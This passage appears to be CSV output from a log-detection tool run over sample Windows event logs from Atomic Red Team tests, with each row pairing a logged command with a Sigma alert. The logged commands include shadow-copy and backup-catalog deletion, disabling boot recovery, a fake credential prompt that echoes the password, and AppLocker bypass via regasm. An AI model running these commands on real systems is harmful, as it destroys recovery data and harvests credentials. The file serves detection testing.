Key,,rules/sigma/process_creation/win_reg_add_run_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.161 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.161 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.196 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.213 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.240 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.240 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.267 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:19.483 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:19.483 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:19.483 +09:00,MSEDGEWIN10,13,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:24.234 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:24.234 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:31.287 +09:00,MSEDGEWIN10,11,high,PowerShell Writing Startup Shortcuts,,rules/sigma/file_event/sysmon_powershell_startup_shortcuts.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:31.287 +09:00,MSEDGEWIN10,11,low,Startup Folder File Write,,rules/sigma/file_event/sysmon_startup_folder_file_write.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:55.034 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library C:\AtomicRedTeam\atomics\T1121\src\T1121.cs"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:55.105 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library C:\AtomicRedTeam\atomics\T1121\src\T1121.cs : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library C:\AtomicRedTeam\atomics\T1121\src\T1121.cs""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:55.621 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 ""/OUT:C:\Users\IEUser\AppData\Local\Temp\RESBED6.tmp"" ""c:\AtomicRedTeam\CSC5779B24A646D409A951966A058ABC4E3.TMP"" : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library C:\AtomicRedTeam\atomics\T1121\src\T1121.cs",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:55.681 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U T1121.dll"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:55.681 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:55.699 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U T1121.dll : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U T1121.dll""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:55.699 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:56.033 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""del T1121.dll"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:56.069 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:46:19.052 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"" /r:System.EnterpriseServices.dll /target:library /keyfile:key.snk C:\AtomicRedTeam\atomics\T1121\src\T1121.cs : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:46:19.443 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 ""/OUT:C:\Users\IEUser\AppData\Local\Temp\RES1BEA.tmp"" ""c:\AtomicRedTeam\CSC8EBD65DB33242A1BAD76494F485AF42.TMP"" : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"" /r:System.EnterpriseServices.dll /target:library /keyfile:key.snk C:\AtomicRedTeam\atomics\T1121\src\T1121.cs",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:46:19.484 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"" T1121.dll : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:46:19.484 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:46:51.883 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""powershell.exe -command { = System.Management.Automation.Internal.Host.InternalHost.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName); echo .GetNetworkCredential().Password;}"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:46:51.957 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: powershell.exe -command { = System.Management.Automation.Internal.Host.InternalHost.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName); echo .GetNetworkCredential().Password;} : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""powershell.exe -command { = System.Management.Automation.Internal.Host.InternalHost.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName); echo .GetNetworkCredential().Password;}""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:46:51.957 +09:00,MSEDGEWIN10,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:21.972 +09:00,MSEDGEWIN10,13,medium,CurrentControlSet Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentcontrolset.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:21.972 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:37.096 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg.exe import c:\AtomicRedTeam\atomics\T1103\T1103.reg"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:37.127 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg.exe import c:\AtomicRedTeam\atomics\T1103\T1103.reg : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg.exe import c:\AtomicRedTeam\atomics\T1103\T1103.reg""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:37.147 +09:00,MSEDGEWIN10,13,medium,New DLL Added to AppInit_DLLs Registry Key,,rules/sigma/registry_event/sysmon_new_dll_added_to_appinit_dlls_registry_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:37.147 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:37.147 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:37.168 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:37.168 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:37.215 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:40.691 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""vssadmin.exe delete shadows /all /quiet"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:40.706 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: vssadmin.exe delete shadows /all /quiet : Path: C:\Windows\System32\vssadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""vssadmin.exe delete shadows /all /quiet""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:40.706 +09:00,MSEDGEWIN10,1,critical,Shadow Copies Deletion Using Operating Systems Utilities,,rules/sigma/process_creation/win_shadow_copies_deletion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:40.863 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:45.585 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""wbadmin.exe delete catalog -quiet"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:45.585 +09:00,MSEDGEWIN10,1,critical,WannaCry Ransomware,,rules/sigma/process_creation/win_malware_wannacry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:45.624 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: wbadmin.exe delete catalog -quiet : Path: C:\Windows\System32\wbadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""wbadmin.exe delete catalog -quiet""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:45.624 +09:00,MSEDGEWIN10,1,critical,Shadow Copies Deletion Using Operating Systems Utilities,,rules/sigma/process_creation/win_shadow_copies_deletion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:45.624 +09:00,MSEDGEWIN10,1,critical,WannaCry Ransomware,,rules/sigma/process_creation/win_malware_wannacry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:45.773 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\wbengine.exe"" : Path: C:\Windows\System32\wbengine.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:45.958 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\vds.exe : Path: C:\Windows\System32\vds.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:46.112 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:51.816 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:51.865 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures : Path: C:\Windows\System32\bcdedit.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:51.865 +09:00,MSEDGEWIN10,1,high,Modification of Boot Configuration,,rules/sigma/process_creation/win_bootconf_mod.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:51.997 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bcdedit.exe /set {default} recoveryenabled no"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:51.997 +09:00,MSEDGEWIN10,1,critical,WannaCry Ransomware,,rules/sigma/process_creation/win_malware_wannacry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:52.010 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bcdedit.exe /set {default} recoveryenabled no : Path: C:\Windows\System32\bcdedit.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bcdedit.exe /set {default} recoveryenabled no""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:52.010 +09:00,MSEDGEWIN10,1,critical,WannaCry Ransomware,,rules/sigma/process_creation/win_malware_wannacry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:52.010 +09:00,MSEDGEWIN10,1,high,Modification of Boot Configuration,,rules/sigma/process_creation/win_bootconf_mod.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:52.046 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:57.227 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""sdelete.exe C:\some\file.txt"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:57.274 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:04.103 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Windows\Temp\bitsadmin_flag.ps1"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:04.131 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Windows\Temp\bitsadmin_flag.ps1 : Path: C:\Windows\System32\bitsadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Windows\Temp\bitsadmin_flag.ps1""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:04.131 +09:00,MSEDGEWIN10,1,medium,Bitsadmin Download,,rules/sigma/process_creation/win_process_creation_bitsadmin_download.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:05.365 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.640 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /create AtomicBITS"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: 